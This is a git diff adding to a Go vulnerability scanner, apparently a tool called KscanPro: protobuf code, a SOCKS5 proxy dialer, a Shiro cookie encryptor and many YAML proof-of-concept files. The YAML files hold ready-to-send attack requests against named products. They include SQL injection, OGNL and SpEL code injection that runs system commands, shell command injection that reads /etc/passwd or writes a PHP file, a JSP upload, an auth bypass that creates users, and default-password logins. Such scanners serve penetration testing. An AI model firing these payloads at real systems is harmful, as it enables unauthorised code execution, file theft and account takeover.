+ 0x01, 0x22, 0x76, 0x0a, 0x07, 0x52, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x12, 0x10, 0x0a, 0x03,
+ 0x75, 0x72, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x75, 0x72, 0x6c, 0x12, 0x16,
+ 0x0a, 0x06, 0x64, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06,
+ 0x64, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x69, 0x70, 0x18, 0x03, 0x20, 0x01,
+ 0x28, 0x09, 0x52, 0x02, 0x69, 0x70, 0x12, 0x31, 0x0a, 0x15, 0x69, 0x73, 0x5f, 0x64, 0x6f, 0x6d,
+ 0x61, 0x69, 0x6e, 0x5f, 0x6e, 0x61, 0x6d, 0x65, 0x5f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x18,
+ 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x12, 0x69, 0x73, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4e,
+ 0x61, 0x6d, 0x65, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x42, 0x08, 0x5a, 0x06, 0x2e, 0x2f, 0x3b,
+ 0x6c, 0x69, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
+}
+
+var (
+ file_http_proto_rawDescOnce sync.Once
+ file_http_proto_rawDescData = file_http_proto_rawDesc
+)
+
+func file_http_proto_rawDescGZIP() []byte {
+ file_http_proto_rawDescOnce.Do(func() {
+ file_http_proto_rawDescData = protoimpl.X.CompressGZIP(file_http_proto_rawDescData)
+ })
+ return file_http_proto_rawDescData
+}
+
+var file_http_proto_msgTypes = make([]protoimpl.MessageInfo, 6)
+var file_http_proto_goTypes = []interface{}{
+ (*UrlType)(nil), // 0: lib.UrlType
+ (*Request)(nil), // 1: lib.Request
+ (*Response)(nil), // 2: lib.Response
+ (*Reverse)(nil), // 3: lib.Reverse
+ nil, // 4: lib.Request.HeadersEntry
+ nil, // 5: lib.Response.HeadersEntry
+}
+var file_http_proto_depIdxs = []int32{
+ 0, // 0: lib.Request.url:type_name -> lib.UrlType
+ 4, // 1: lib.Request.headers:type_name -> lib.Request.HeadersEntry
+ 0, // 2: lib.Response.url:type_name -> lib.UrlType
+ 5, // 3: lib.Response.headers:type_name -> lib.Response.HeadersEntry
+ 4, // [4:4] is the sub-list for method output_type
+ 4, // [4:4] is the sub-list for method input_type
+ 4, // [4:4] is the sub-list for extension type_name
+ 4, // [4:4] is the sub-list for extension extendee
+ 0, // [0:4] is the sub-list for field type_name
+}
+
+func init() { file_http_proto_init() }
+func file_http_proto_init() {
+ if File_http_proto != nil {
+ return
+ }
+ if !protoimpl.UnsafeEnabled {
+ file_http_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} {
+ switch v := v.(*UrlType); i {
+ case 0:
+ return &v.state
+ case 1:
+ return &v.sizeCache
+ case 2:
+ return &v.unknownFields
+ default:
+ return nil
+ }
+ }
+ file_http_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} {
+ switch v := v.(*Request); i {
+ case 0:
+ return &v.state
+ case 1:
+ return &v.sizeCache
+ case 2:
+ return &v.unknownFields
+ default:
+ return nil
+ }
+ }
+ file_http_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} {
+ switch v := v.(*Response); i {
+ case 0:
+ return &v.state
+ case 1:
+ return &v.sizeCache
+ case 2:
+ return &v.unknownFields
+ default:
+ return nil
+ }
+ }
+ file_http_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} {
+ switch v := v.(*Reverse); i {
+ case 0:
+ return &v.state
+ case 1:
+ return &v.sizeCache
+ case 2:
+ return &v.unknownFields
+ default:
+ return nil
+ }
+ }
+ }
+ type x struct{}
+ out := protoimpl.TypeBuilder{
+ File: protoimpl.DescBuilder{
+ GoPackagePath: reflect.TypeOf(x{}).PkgPath(),
+ RawDescriptor: file_http_proto_rawDesc,
+ NumEnums: 0,
+ NumMessages: 6,
+ NumExtensions: 0,
+ NumServices: 0,
+ },
+ GoTypes: file_http_proto_goTypes,
+ DependencyIndexes: file_http_proto_depIdxs,
+ MessageInfos: file_http_proto_msgTypes,
+ }.Build()
+ File_http_proto = out.File
+ file_http_proto_rawDesc = nil
+ file_http_proto_goTypes = nil
+ file_http_proto_depIdxs = nil
+}
diff --git a/core/pocScan/lib/http.proto b/core/pocScan/lib/http.proto
new file mode 100644
index 0000000..f03e276
--- /dev/null
+++ b/core/pocScan/lib/http.proto
@@ -0,0 +1,38 @@
+syntax = "proto3";
+package lib;
+
+option go_package = "./;lib";
+
+message UrlType {
+ string scheme = 1;
+ string domain = 2;
+ string host = 3;
+ string port = 4;
+ string path = 5;
+ string query = 6;
+ string fragment = 7;
+}
+
+message Request {
+ UrlType url = 1;
+ string method = 2;
+ map headers = 3;
+ string content_type = 4;
+ bytes body = 5;
+}
+
+message Response {
+ UrlType url = 1;
+ int32 status = 2 ;
+ map headers = 3;
+ string content_type = 4;
+ bytes body = 5;
+ double duration = 6;
+}
+
+message Reverse {
+ string url = 1;
+ string domain = 2;
+ string ip = 3;
+ bool is_domain_name_server = 4;
+}
diff --git a/core/pocScan/lib/proxy.go b/core/pocScan/lib/proxy.go
new file mode 100644
index 0000000..e23f4ae
--- /dev/null
+++ b/core/pocScan/lib/proxy.go
@@ -0,0 +1,66 @@
+package lib
+
+import (
+ "KscanPro/app"
+ "errors"
+ "golang.org/x/net/proxy"
+ "net"
+ "net/url"
+ "strings"
+ "time"
+)
+
+func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
+ d := &net.Dialer{Timeout: timeout}
+ return WrapperTCP(network, address, d)
+}
+
+func WrapperTCP(network, address string, forward *net.Dialer) (net.Conn, error) {
+ //get conn
+ var conn net.Conn
+ if app.Socks5Proxy == "" {
+ var err error
+ conn, err = forward.Dial(network, address)
+ if err != nil {
+ return nil, err
+ }
+ } else {
+ dailer, err := Socks5Dailer(forward)
+ if err != nil {
+ return nil, err
+ }
+ conn, err = dailer.Dial(network, address)
+ if err != nil {
+ return nil, err
+ }
+ }
+ return conn, nil
+
+}
+
+func Socks5Dailer(forward *net.Dialer) (proxy.Dialer, error) {
+ u, err := url.Parse(app.Socks5Proxy)
+ if err != nil {
+ return nil, err
+ }
+ if strings.ToLower(u.Scheme) != "socks5" {
+ return nil, errors.New("Only support socks5")
+ }
+ address := u.Host
+ var auth proxy.Auth
+ var dailer proxy.Dialer
+ if u.User.String() != "" {
+ auth = proxy.Auth{}
+ auth.User = u.User.Username()
+ password, _ := u.User.Password()
+ auth.Password = password
+ dailer, err = proxy.SOCKS5("tcp", address, &auth, forward)
+ } else {
+ dailer, err = proxy.SOCKS5("tcp", address, nil, forward)
+ }
+
+ if err != nil {
+ return nil, err
+ }
+ return dailer, nil
+}
diff --git a/core/pocScan/lib/shiro.go b/core/pocScan/lib/shiro.go
new file mode 100644
index 0000000..4e3503d
--- /dev/null
+++ b/core/pocScan/lib/shiro.go
@@ -0,0 +1,73 @@
+package lib
+
+import (
+ "bytes"
+ "crypto/aes"
+ "crypto/cipher"
+ "crypto/rand"
+ "encoding/base64"
+ "io"
+
+ uuid "github.com/satori/go.uuid"
+)
+
+var (
+ CheckContent = "rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA=="
+ Content, _ = base64.StdEncoding.DecodeString(CheckContent)
+)
+
+func Padding(plainText []byte, blockSize int) []byte {
+ //计算要填充的长度
+ n := (blockSize - len(plainText)%blockSize)
+ //对原来的明文填充n个n
+ temp := bytes.Repeat([]byte{byte(n)}, n)
+ plainText = append(plainText, temp...)
+ return plainText
+}
+
+func GetShrioCookie(key, mode string) string {
+ if mode == "gcm" {
+ return AES_GCM_Encrypt(key)
+ } else {
+ //cbc
+ return AES_CBC_Encrypt(key)
+ }
+}
+
+//AES CBC加密后的payload
+func AES_CBC_Encrypt(shirokey string) string {
+ key, err := base64.StdEncoding.DecodeString(shirokey)
+ if err != nil {
+ return ""
+ }
+ block, err := aes.NewCipher(key)
+ if err != nil {
+ return ""
+ }
+ Content = Padding(Content, block.BlockSize())
+ iv := uuid.NewV4().Bytes() //指定初始向量vi,长度和block的块尺寸一致
+ blockMode := cipher.NewCBCEncrypter(block, iv) //指定CBC分组模式,返回一个BlockMode接口对象
+ cipherText := make([]byte, len(Content))
+ blockMode.CryptBlocks(cipherText, Content) //加密数据
+ return base64.StdEncoding.EncodeToString(append(iv[:], cipherText[:]...))
+}
+
+//AES GCM 加密后的payload shiro 1.4.2版本更换为了AES-GCM加密方式
+func AES_GCM_Encrypt(shirokey string) string {
+ key, err := base64.StdEncoding.DecodeString(shirokey)
+ if err != nil {
+ return ""
+ }
+ block, err := aes.NewCipher(key)
+ if err != nil {
+ return ""
+ }
+ nonce := make([]byte, 16)
+ _, err = io.ReadFull(rand.Reader, nonce)
+ if err != nil {
+ return ""
+ }
+ aesgcm, _ := cipher.NewGCMWithNonceSize(block, 16)
+ ciphertext := aesgcm.Seal(nil, nonce, Content, nil)
+ return base64.StdEncoding.EncodeToString(append(nonce, ciphertext...))
+}
diff --git a/core/pocScan/pocs/74cms-sqli-1.yml b/core/pocScan/pocs/74cms-sqli-1.yml
new file mode 100644
index 0000000..0b1d6aa
--- /dev/null
+++ b/core/pocScan/pocs/74cms-sqli-1.yml
@@ -0,0 +1,16 @@
+name: poc-yaml-74cms-sqli-1
+set:
+ rand: randomInt(200000000, 210000000)
+rules:
+ - method: POST
+ path: /plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709\xc3\x97tamp=&nonce=
+ headers:
+ Content-Type: 'text/xml'
+ body: ]>&test;111112331%' union select md5({{rand}})#
+ follow_redirects: false
+ expression: |
+ response.body.bcontains(bytes(md5(string(rand))))
+detail:
+ author: betta(https://github.com/betta-cyber)
+ links:
+ - https://www.uedbox.com/post/29340
diff --git a/core/pocScan/pocs/74cms-sqli-2.yml b/core/pocScan/pocs/74cms-sqli-2.yml
new file mode 100644
index 0000000..ed6f4ae
--- /dev/null
+++ b/core/pocScan/pocs/74cms-sqli-2.yml
@@ -0,0 +1,12 @@
+name: poc-yaml-74cms-sqli-2
+set:
+ rand: randomInt(200000000, 210000000)
+rules:
+ - method: GET
+ path: /plus/ajax_officebuilding.php?act=key&key=錦%27%20a<>nd%201=2%20un<>ion%20sel<>ect%201,2,3,md5({{rand}}),5,6,7,8,9%23
+ expression: |
+ response.body.bcontains(bytes(md5(string(rand))))
+detail:
+ author: rexus
+ links:
+ - https://www.uedbox.com/post/30019/
diff --git a/core/pocScan/pocs/74cms-sqli.yml b/core/pocScan/pocs/74cms-sqli.yml
new file mode 100644
index 0000000..cff0f68
--- /dev/null
+++ b/core/pocScan/pocs/74cms-sqli.yml
@@ -0,0 +1,10 @@
+name: poc-yaml-74cms-sqli
+rules:
+ - method: GET
+ path: /index.php?m=&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=aaaaaaa") and extractvalue(1,concat(0x7e,md5(99999999))) -- a
+ expression: |
+ response.body.bcontains(b"ef775988943825d2871e1cfa75473ec")
+detail:
+ author: jinqi
+ links:
+ - https://www.t00ls.net/articles-54436.html
diff --git a/core/pocScan/pocs/CVE-2017-7504-Jboss-serialization-RCE.yml b/core/pocScan/pocs/CVE-2017-7504-Jboss-serialization-RCE.yml
new file mode 100644
index 0000000..da06f09
--- /dev/null
+++ b/core/pocScan/pocs/CVE-2017-7504-Jboss-serialization-RCE.yml
@@ -0,0 +1,11 @@
+name: poc-yaml-CVE-2017-7504-Jboss-serialization-RCE
+rules:
+ - method: GET
+ path: /jbossmq-httpil/HTTPServerILServlet
+ expression: |
+ response.status == 200 && response.body.bcontains(b'This is the JBossMQ HTTP-IL')
+detail:
+ author: mamba
+ description: "CVE-2017-7504-Jboss-serialization-RCE by chaosec公众号"
+ links:
+ - https://github.com/chaosec2021
diff --git a/core/pocScan/pocs/CVE-2022-22947.yml b/core/pocScan/pocs/CVE-2022-22947.yml
new file mode 100644
index 0000000..a2f2fc3
--- /dev/null
+++ b/core/pocScan/pocs/CVE-2022-22947.yml
@@ -0,0 +1,44 @@
+name: Spring-Cloud-CVE-2022-22947
+set:
+ router: randomLowercase(8)
+ rand1: randomInt(800000000, 1000000000)
+ rand2: randomInt(800000000, 1000000000)
+rules:
+ - method: POST
+ path: /actuator/gateway/routes/{{router}}
+ headers:
+ Content-Type: application/json
+ body: |
+ {
+ "id": "{{router}}",
+ "filters": [{
+ "name": "AddResponseHeader",
+ "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"expr\",\"{{rand1}}\",\"+\",\"{{rand2}}\"}).getInputStream()))}"}
+ }],
+ "uri": "http://example.com",
+ "order": 0
+ }
+ expression: response.status == 201
+ - method: POST
+ path: /actuator/gateway/refresh
+ headers:
+ Content-Type: application/json
+ expression: response.status == 200
+ - method: GET
+ path: /actuator/gateway/routes/{{router}}
+ headers:
+ Content-Type: application/json
+ expression: response.status == 200 && response.body.bcontains(bytes(string(rand1 + rand2)))
+ - method: DELETE
+ path: /actuator/gateway/routes/{{router}}
+ expression: response.status == 200
+ - method: POST
+ path: /actuator/gateway/refresh
+ headers:
+ Content-Type: application/json
+ expression: response.status == 200
+detail:
+ author: jweny
+ description: Spring Cloud Gateway Code Injection
+ links:
+ - https://mp.weixin.qq.com/s/qIAcycsO_L9JKisG5Bgg_w
diff --git a/core/pocScan/pocs/CVE-2022-22954-VMware-RCE.yml b/core/pocScan/pocs/CVE-2022-22954-VMware-RCE.yml
new file mode 100644
index 0000000..f15af4c
--- /dev/null
+++ b/core/pocScan/pocs/CVE-2022-22954-VMware-RCE.yml
@@ -0,0 +1,11 @@
+name: poc-yaml-CVE-2022-22954-VMware-RCE
+rules:
+ - method: GET
+ path: /catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b"freemarker%2etemplate%2eutility%2eExecute"%3fnew%28%29%28"id"%29%7d
+ expression: |
+ response.status == 400 && "device id:".bmatches(response.body)
+detail:
+ author: mamba
+ description: "CVE-2022-22954-VMware-RCE by chaosec公众号"
+ links:
+ - https://github.com/chaosec2021
diff --git a/core/pocScan/pocs/CVE-2022-26134.yml b/core/pocScan/pocs/CVE-2022-26134.yml
new file mode 100644
index 0000000..8e7469b
--- /dev/null
+++ b/core/pocScan/pocs/CVE-2022-26134.yml
@@ -0,0 +1,16 @@
+name: Confluence-CVE-2022-26134
+
+rules:
+ - method: GET
+ path: /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
+ expression: response.status == 302 && "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.raw_header)
+detail:
+ author: zan8in
+ description: |
+ Atlassian Confluence OGNL注入漏洞
+ Atlassian Confluence是企业广泛使用的wiki系统。2022年6月2日Atlassian官方发布了一则安全更新,通告了一个严重且已在野利用的代码执行漏洞,攻击者利用这个漏洞即可无需任何条件在Confluence中执行任意命令。
+ app="ATLASSIAN-Confluence"
+ links:
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-26134
+ - http://wiki.peiqi.tech/wiki/webapp/AtlassianConfluence/Atlassian%20Confluence%20OGNL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%20CVE-2022-26134.html
+ - https://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247488978&idx=1&sn=c0a5369f2b374dcef0bbf61b9239b1dd
diff --git a/core/pocScan/pocs/Hotel-Internet-Manage-RCE.yml b/core/pocScan/pocs/Hotel-Internet-Manage-RCE.yml
new file mode 100644
index 0000000..bd124e5
--- /dev/null
+++ b/core/pocScan/pocs/Hotel-Internet-Manage-RCE.yml
@@ -0,0 +1,12 @@
+name: Hotel-Internet-Manage-RCE
+rules:
+ - method: GET
+ path: "/manager/radius/server_ping.php?ip=127.0.0.1|cat /etc/passwd >../../Test.txt&id=1"
+ expression: |
+ response.status == 200 && response.body.bcontains(b"parent.doTestResult")
+detail:
+ author: test
+ Affected Version: "Hotel Internet Billing & Operation Support System"
+ links:
+ - http://118.190.97.19:88/qingy/Web%E5%AE%89%E5%85%A8
+
diff --git a/core/pocScan/pocs/Struts2-062-cve-2021-31805-rce.yml b/core/pocScan/pocs/Struts2-062-cve-2021-31805-rce.yml
new file mode 100644
index 0000000..d77a764
--- /dev/null
+++ b/core/pocScan/pocs/Struts2-062-cve-2021-31805-rce.yml
@@ -0,0 +1,31 @@
+name: poc-yaml-struts2-062-cve-2021-31805-rce
+rules:
+ - method: POST
+ path: /
+ headers:
+ Content-Type: 'multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF'
+ Cache-Control: 'max-age=0'
+ Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'
+
+ body: "\
+ ------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\n\
+ Content-Disposition: form-data; name=\"id\"\r\n\r\n\
+ %{\r\n\
+ (#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\
+ (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n\
+ (#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\
+ (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n
+ (#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\
+ (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n\
+ (#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n\
+ (#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n
+ (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))\r\n
+ }\r\n\
+ ------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
+ "
+ expression: |
+ response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
+detail:
+ author: Jaky
+ links:
+ - https://mp.weixin.qq.com/s/taEEl6UQ2yi4cqzs2UBfCg
diff --git a/core/pocScan/pocs/active-directory-certsrv-detect.yml b/core/pocScan/pocs/active-directory-certsrv-detect.yml
new file mode 100644
index 0000000..edf2dda
--- /dev/null
+++ b/core/pocScan/pocs/active-directory-certsrv-detect.yml
@@ -0,0 +1,11 @@
+name: poc-yaml-active-directory-certsrv-detect
+rules:
+ - method: GET
+ path: /certsrv/certrqad.asp
+ follow_redirects: false
+ expression: |
+ response.status == 401 && "Server" in response.headers && response.headers["Server"].contains("Microsoft-IIS") && response.body.bcontains(bytes("401 - ")) && "Www-Authenticate" in response.headers && response.headers["Www-Authenticate"].contains("Negotiate") && "Www-Authenticate" in response.headers && response.headers["Www-Authenticate"].contains("NTLM")
+detail:
+ author: AgeloVito
+ links:
+ - https://www.cnblogs.com/EasonJim/p/6859345.html
diff --git a/core/pocScan/pocs/activemq-cve-2016-3088.yml b/core/pocScan/pocs/activemq-cve-2016-3088.yml
new file mode 100644
index 0000000..7b93f13
--- /dev/null
+++ b/core/pocScan/pocs/activemq-cve-2016-3088.yml
@@ -0,0 +1,34 @@
+name: poc-yaml-activemq-cve-2016-3088
+set:
+ filename: randomLowercase(6)
+ fileContent: randomLowercase(6)
+rules:
+ - method: PUT
+ path: /fileserver/{{filename}}.txt
+ body: |
+ {{fileContent}}
+ expression: |
+ response.status == 204
+ - method: GET
+ path: /admin/test/index.jsp
+ search: |
+ activemq.home=(?P.*?),
+ follow_redirects: false
+ expression: |
+ response.status == 200
+ - method: MOVE
+ path: /fileserver/{{filename}}.txt
+ headers:
+ Destination: "file://{{home}}/webapps/api/{{filename}}.jsp"
+ follow_redirects: false
+ expression: |
+ response.status == 204
+ - method: GET
+ path: /api/{{filename}}.jsp
+ follow_redirects: false
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(fileContent))
+detail:
+ author: j4ckzh0u(https://github.com/j4ckzh0u)
+ links:
+ - https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2016-3088
diff --git a/core/pocScan/pocs/activemq-default-password.yml b/core/pocScan/pocs/activemq-default-password.yml
new file mode 100644
index 0000000..d9a7ef9
--- /dev/null
+++ b/core/pocScan/pocs/activemq-default-password.yml
@@ -0,0 +1,16 @@
+name: poc-yaml-activemq-default-password
+rules:
+ - method: GET
+ path: /admin/
+ expression: |
+ response.status == 401 && response.body.bcontains(b"Unauthorized")
+ - method: GET
+ path: /admin/
+ headers:
+ Authorization: Basic YWRtaW46YWRtaW4=
+ expression: |
+ response.status == 200 && response.body.bcontains(b"Welcome to the Apache ActiveMQ Console of") && response.body.bcontains(b"Broker
")
+detail:
+ author: pa55w0rd(www.pa55w0rd.online/)
+ links:
+ - https://blog.csdn.net/ge00111/article/details/72765210
\ No newline at end of file
diff --git a/core/pocScan/pocs/airflow-unauth.yml b/core/pocScan/pocs/airflow-unauth.yml
new file mode 100644
index 0000000..43b8ce7
--- /dev/null
+++ b/core/pocScan/pocs/airflow-unauth.yml
@@ -0,0 +1,10 @@
+name: poc-yaml-airflow-unauth
+rules:
+ - method: GET
+ path: /admin/
+ expression: |
+ response.status == 200 && response.body.bcontains(b"Airflow - DAGs") && response.body.bcontains(b"DAGs
")
+detail:
+ author: pa55w0rd(www.pa55w0rd.online/)
+ links:
+ - http://airflow.apache.org/
diff --git a/core/pocScan/pocs/alibaba-canal-default-password.yml b/core/pocScan/pocs/alibaba-canal-default-password.yml
new file mode 100644
index 0000000..bee4b21
--- /dev/null
+++ b/core/pocScan/pocs/alibaba-canal-default-password.yml
@@ -0,0 +1,19 @@
+name: poc-yaml-alibaba-canal-default-password
+rules:
+ - method: POST
+ path: /api/v1/user/login
+ expression: |
+ response.status == 200 && response.body.bcontains(b"com.alibaba.otter.canal.admin.controller.UserController.login")
+ - method: POST
+ path: /api/v1/user/login
+ headers:
+ Content-Type: application/json
+ body: >-
+ {"username":"admin","password":"123456"}
+ follow_redirects: false
+ expression: |
+ response.status == 200 && response.body.bcontains(b"{\"code\":20000,") && response.body.bcontains(b"\"data\":{\"token\"")
+detail:
+ author: jweny(https://github.com/jweny)
+ links:
+ - https://www.cnblogs.com/xiexiandong/p/12888582.html
diff --git a/core/pocScan/pocs/alibaba-canal-info-leak.yml b/core/pocScan/pocs/alibaba-canal-info-leak.yml
new file mode 100644
index 0000000..a51de57
--- /dev/null
+++ b/core/pocScan/pocs/alibaba-canal-info-leak.yml
@@ -0,0 +1,12 @@
+name: poc-yaml-alibaba-canal-info-leak
+rules:
+ - method: GET
+ path: /api/v1/canal/config/1/1
+ follow_redirects: false
+ expression: |
+ response.status == 200 && response.content_type.icontains("application/json") && response.body.bcontains(b"ncanal.aliyun.accessKey") && response.body.bcontains(b"ncanal.aliyun.secretKey")
+detail:
+ author: Aquilao(https://github.com/Aquilao)
+ info: alibaba Canal info leak
+ links:
+ - https://my.oschina.net/u/4581879/blog/4753320
\ No newline at end of file
diff --git a/core/pocScan/pocs/alibaba-nacos-v1-auth-bypass.yml b/core/pocScan/pocs/alibaba-nacos-v1-auth-bypass.yml
new file mode 100644
index 0000000..4effabc
--- /dev/null
+++ b/core/pocScan/pocs/alibaba-nacos-v1-auth-bypass.yml
@@ -0,0 +1,27 @@
+name: poc-yaml-alibaba-nacos-v1-auth-bypass
+set:
+ r1: randomLowercase(16)
+ r2: randomLowercase(16)
+rules:
+ - method: POST
+ path: "/nacos/v1/auth/users?username={{r1}}&password={{r2}}"
+ headers:
+ User-Agent: Nacos-Server
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes("create user ok!"))
+ - method: GET
+ path: "/nacos/v1/auth/users?pageNo=1&pageSize=999"
+ headers:
+ User-Agent: Nacos-Server
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(r1))
+ - method: DELETE
+ path: "/nacos/v1/auth/users?username={{r1}}"
+ headers:
+ User-Agent: Nacos-Server
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes("delete user ok!"))
+detail:
+ author: kmahyyg(https://github.com/kmahyyg)
+ links:
+ - https://github.com/alibaba/nacos/issues/4593
diff --git a/core/pocScan/pocs/alibaba-nacos.yml b/core/pocScan/pocs/alibaba-nacos.yml
new file mode 100644
index 0000000..34a4407
--- /dev/null
+++ b/core/pocScan/pocs/alibaba-nacos.yml
@@ -0,0 +1,13 @@
+name: poc-yaml-alibaba-nacos
+rules:
+ - method: GET
+ path: /nacos/
+ follow_redirects: true
+ expression: |
+ response.body.bcontains(bytes("Nacos"))
+detail:
+ author: AgeloVito
+ info: alibaba-nacos
+ login: nacos/nacos
+ links:
+ - https://blog.csdn.net/caiqiiqi/article/details/112005424
diff --git a/core/pocScan/pocs/amtt-hiboss-server-ping-rce.yml b/core/pocScan/pocs/amtt-hiboss-server-ping-rce.yml
new file mode 100644
index 0000000..b833f41
--- /dev/null
+++ b/core/pocScan/pocs/amtt-hiboss-server-ping-rce.yml
@@ -0,0 +1,18 @@
+name: poc-yaml-amtt-hiboss-server-ping-rce
+set:
+ r2: randomLowercase(10)
+rules:
+ - method: GET
+ path: /manager/radius/server_ping.php?ip=127.0.0.1|echo%20"">../../{{r2}}.php&id=1
+ expression: |
+ response.status == 200 && response.body.bcontains(b"parent.doTestResult")
+ - method: GET
+ path: /{{r2}}.php
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(md5(r2)))
+
+detail:
+ author: YekkoY
+ description: "安美数字-酒店宽带运营系统-远程命令执行漏洞"
+ links:
+ - http://wiki.peiqi.tech/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E5%AE%89%E7%BE%8E%E6%95%B0%E5%AD%97/%E5%AE%89%E7%BE%8E%E6%95%B0%E5%AD%97%20%E9%85%92%E5%BA%97%E5%AE%BD%E5%B8%A6%E8%BF%90%E8%90%A5%E7%B3%BB%E7%BB%9F%20server_ping.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html
diff --git a/core/pocScan/pocs/apache-ambari-default-password.yml b/core/pocScan/pocs/apache-ambari-default-password.yml
new file mode 100644
index 0000000..c3337b8
--- /dev/null
+++ b/core/pocScan/pocs/apache-ambari-default-password.yml
@@ -0,0 +1,11 @@
+name: poc-yaml-apache-ambari-default-password
+rules:
+ - method: GET
+ path: /api/v1/users/admin?fields=*,privileges/PrivilegeInfo/cluster_name,privileges/PrivilegeInfo/permission_name
+ headers:
+ Authorization: Basic YWRtaW46YWRtaW4=
+ expression: response.status == 200 && response.body.bcontains(b"PrivilegeInfo") && response.body.bcontains(b"AMBARI.ADMINISTRATOR")
+detail:
+ author: wulalalaaa(https://github.com/wulalalaaa)
+ links:
+ - https://cwiki.apache.org/confluence/display/AMBARI/Quick+Start+Guide
diff --git a/core/pocScan/pocs/apache-axis-webservice-detect.yml b/core/pocScan/pocs/apache-axis-webservice-detect.yml
new file mode 100644
index 0000000..1b3872d
--- /dev/null
+++ b/core/pocScan/pocs/apache-axis-webservice-detect.yml
@@ -0,0 +1,25 @@
+name: poc-yaml-apache-axis-webservice-detect
+sets:
+ path:
+ - services
+ - servlet/AxisaxiServlet
+ - servlet/AxisServlet
+ - services/listServices
+ - services/FreeMarkerService
+ - services/AdminService
+ - axis/services
+ - axis2/services
+ - axis/servlet/AxisServlet
+ - axis2/servlet/AxisServlet
+ - axis2/services/listServices
+ - axis/services/FreeMarkerService
+ - axis/services/AdminService
+rules:
+ - method: GET
+ path: /{{path}}
+ expression: |
+ response.body.bcontains(b"Services") && response.body.bcontains(b'?wsdl">')
+detail:
+ author: AgeloVito
+ links:
+ - https://paper.seebug.org/1489
diff --git a/core/pocScan/pocs/apache-druid-cve-2021-36749.yml b/core/pocScan/pocs/apache-druid-cve-2021-36749.yml
new file mode 100644
index 0000000..5ba40f8
--- /dev/null
+++ b/core/pocScan/pocs/apache-druid-cve-2021-36749.yml
@@ -0,0 +1,24 @@
+name: poc-yaml-apache-druid-cve-2021-36749
+manual: true
+transport: http
+groups:
+ druid1:
+ - method: POST
+ path: /druid/indexer/v1/sampler?for=connect
+ headers:
+ Content-Type: application/json;charset=utf-8
+ body: |
+ {"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"http","uris":["file:///etc/passwd"]}}},"samplerConfig":{"numRows":500}}
+ expression: response.status == 200 && response.content_type.contains("json") && "root:[x*]:0:0:".bmatches(response.body)
+ druid2:
+ - method: POST
+ path: /druid/indexer/v1/sampler?for=connect
+ headers:
+ Content-Type: application/json;charset=utf-8
+ body: |
+ {"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"http","uris":["file:///c://windows/win.ini"]}}},"samplerConfig":{"numRows":500}}
